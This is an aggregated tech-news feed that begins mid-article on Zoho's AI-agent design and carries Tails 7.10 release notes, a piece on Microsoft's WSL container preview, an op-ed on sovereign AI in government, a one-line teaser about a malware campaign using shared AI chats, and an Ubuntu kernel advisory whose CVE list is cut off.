“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.



Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.



Routing



Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.



Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.



“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”



Harness



An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.



“It’s the process around the model, which matters way more than the model itself,” Thakrar said.



In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.



For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.



Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.



“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”



But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.



Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.



Specialization



Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.



Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.



“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”



„ClaudeFix“: Wenn geteilte KI-Chats zur Malware-Falle werden
Thu, 23 Jul 2026 11:52:10 +0200

    Sicherheitsforscher von Zscaler haben eine neue Angriffskampagne entdeckt, bei der Cyberkriminelle manipulierte KI-Chats nutzen, um Schadsoftware zu verbreiten. 

Tags: #Claude | #Malware


New Release: Tails 7.10
Thu, 23 Jul 2026 11:24:32 +0200

    
      


      
    
    New features
New shutdown procedure
Tails now uses the standard shutdown procedure from GNOME.
The standard shutdown procedure
is a bit slower, but better prevents data loss.
For example, the Power Off confirmation dialog informs you if an
application needs to be closed or an open document needs to be saved before
shutting down.

Even without confirming or saving the open documents, Tails will shut down
after 60 seconds.
You can still use the faster emergency
shutdown as before.
Celluloid video player
We replaced GNOME Videos with Celluloid , a more modern and reliable video
player.

For added security, Celluloid cannot access the network. You can either:

Open online videos, like MP4 and AVI files, in Tor Browser.
Open online streaming addresses, like IPTV and HLS addresses, in VLC , installed as additional software.

Celluloid doesn't work on some computer from 2011 or earlier.
You can use VLC instead, installed as additional
software.
Changes and updates

Update Tor Browser to 15.0.19.

Update some firmware packages. This improves support for newer hardware: graphics, Wi-Fi, and so on.


For more details, read our
changelog.
Get Tails 7.10
To upgrade your Tails USB stick and keep your Persistent Storage

Automatic upgrades are available from Tails 7.0 or later to 7.10.

If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.


To install Tails 7.10 on a new USB stick
Follow our installation instructions.
The Persistent Storage on the USB stick will be lost if you install instead of
upgrading.
To download only
If you don't need installation or upgrade instructions, you can download Tails
7.10 directly:

For USB sticks (USB image)

For DVDs and virtual machines (ISO image)


Support and feedback
For support and feedback, visit the Support
section on the Tails website.

    
  
    
        
          tails
        
      

        
          releases
        
      
  
  


Tails 7.10
Thu, 23 Jul 2026 11:07:50 +0200
New features


New shutdown procedure

Tails now uses the standard shutdown procedure from GNOME.

The standard shutdown procedure is a bit slower,
but better prevents data loss.

For example, the Power Off confirmation dialog informs you if an
application needs to be closed or an open document needs to be saved before
shutting down.



Even without confirming or saving the open documents, Tails will shut down
after 60 seconds.

You can still use the faster emergency
shutdown as before.

Celluloid video player

We replaced GNOME Videos with Celluloid, a more modern and reliable video
player.





For added security, Celluloid cannot access the network. You can
either:



  Open online videos, like MP4 and AVI files, in Tor Browser.

  
Open online streaming addresses, like IPTV and HLS addresses, in
  VLC, installed as additional
  software.










Celluloid doesn't work on some computer from 2011 or earlier.

You can use VLC instead, installed as additional
software.






Changes and updates



Update Tor Browser to 15.0.19.
Update some firmware packages. This improves support for newer
hardware: graphics, Wi-Fi, and so on.



For more details, read our changelog.

Get Tails 7.10


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.10.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.10 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.10 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



WSL container: A quiet revolution for Windows development
Thu, 23 Jul 2026 11:07:20 +0200

		
					  
						




Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.



Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a VS Code Server in every container you’re building and testing. If you’re working with Kubernetes, that’s even more complexity that needs to be managed, dragging you away from code.



I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.



So, it was good to see Microsoft make several announcements around WSL at Build 2026 as part of a push to make Windows a developer platform again. The first, an improved WSL3, is still some way away, but the second, WSL-native container support, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.



Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.



Getting started with WSL container



WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter wsl --update --pre-release.



This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering wslc, which should list the available commands. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).



Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.



Calling Linux containers from Windows applications



Things get more interesting when you start to use the WSL container API from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.



The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided sample code to show you what’s possible at this early stage.



Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.



It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.



Manage Linux containers from Windows



If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the WSL Container Desktop, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the Windows App SDK installed, and some features require access to the Azure CLI.



WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.



Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.



Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.



Run Kubernetes inside Windows for cloud-native development



One of the more useful features of WSL Container Desktop is the ability to quickly stand up a K3s Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own Headlamp UI, making it easy to go between your development environment and a production Kubernetes cluster.



It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.



The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.



Sovereign AI has become the public-sector CIO’s control problem
Thu, 23 Jul 2026 11:05:58 +0200

		
					  
						




In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.



They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?



The 5 layers of public-sector control



For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:




Data control: Where sensitive public data sits, and whether it can train a vendor’s model.



Model control: Which models clear which workloads, and under what validation.



Infrastructure control: Whether critical workloads run in approved environments.



Operational control: Whether AI-assisted actions are logged, monitored and reversible.



Vendor control: Whether the agency keeps portability, audit rights and a real exit.




Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.



Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.



Evaluating risk: Concentration, jurisdiction and shadow AI



Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.



The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.



The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.



Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.



Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.



Building an operational sovereignty strategy



Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.



None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.



Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:




Can we classify AI workloads by public-service risk?



Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?



Can we restrict which models are approved for which data classes and functions?



Can we reconstruct an AI-assisted action in enough detail to explain it?



Can we change providers without losing continuity or institutional knowledge?



Can we explain the system to citizens, regulators, auditors and elected officials?




A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.



This article is published as part of the Foundry Expert Contributor Network.
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USN-8597-1: Linux kernel (IBM) vulnerabilities
Thu, 23 Jul 2026 10:46:09 +0200
Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVME drivers;
  - PCI subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Framebuffer layer;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - SMB network file system;
  - SquashFS file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - CPU frequency scaling framework;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - Network traffic control;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - ALSA framework;
  - FireWire sound drivers;
  - Creative Sound Blaster X-Fi driver;
  - SoC audio core drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53629,
CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922,
CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809,
CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584,
CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712,
CVE-2025-22107, CVE-2025-23141, CVE-2025-38006, CVE-2025-38105,
CVE-2025-38192, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659,
CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005,
CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206,
CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358,
CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232,
CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237,
CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266,
CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292,
CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113,
CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204,
CVE-2026-23220, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23362, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23442, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416,
CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428,
CVE-2026-31433, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452,
CVE-2026-31454, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31507, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31577,
CVE-2026-31578, CVE-2026-31581, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683,
CVE-2026-31684, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695,
CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699,
CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721,
CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-43014,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43113, CVE-2026-43123,
CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43206, CVE-2026-43209,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302,
CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315,
CVE-2026-43316, CVE-2026-43327, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
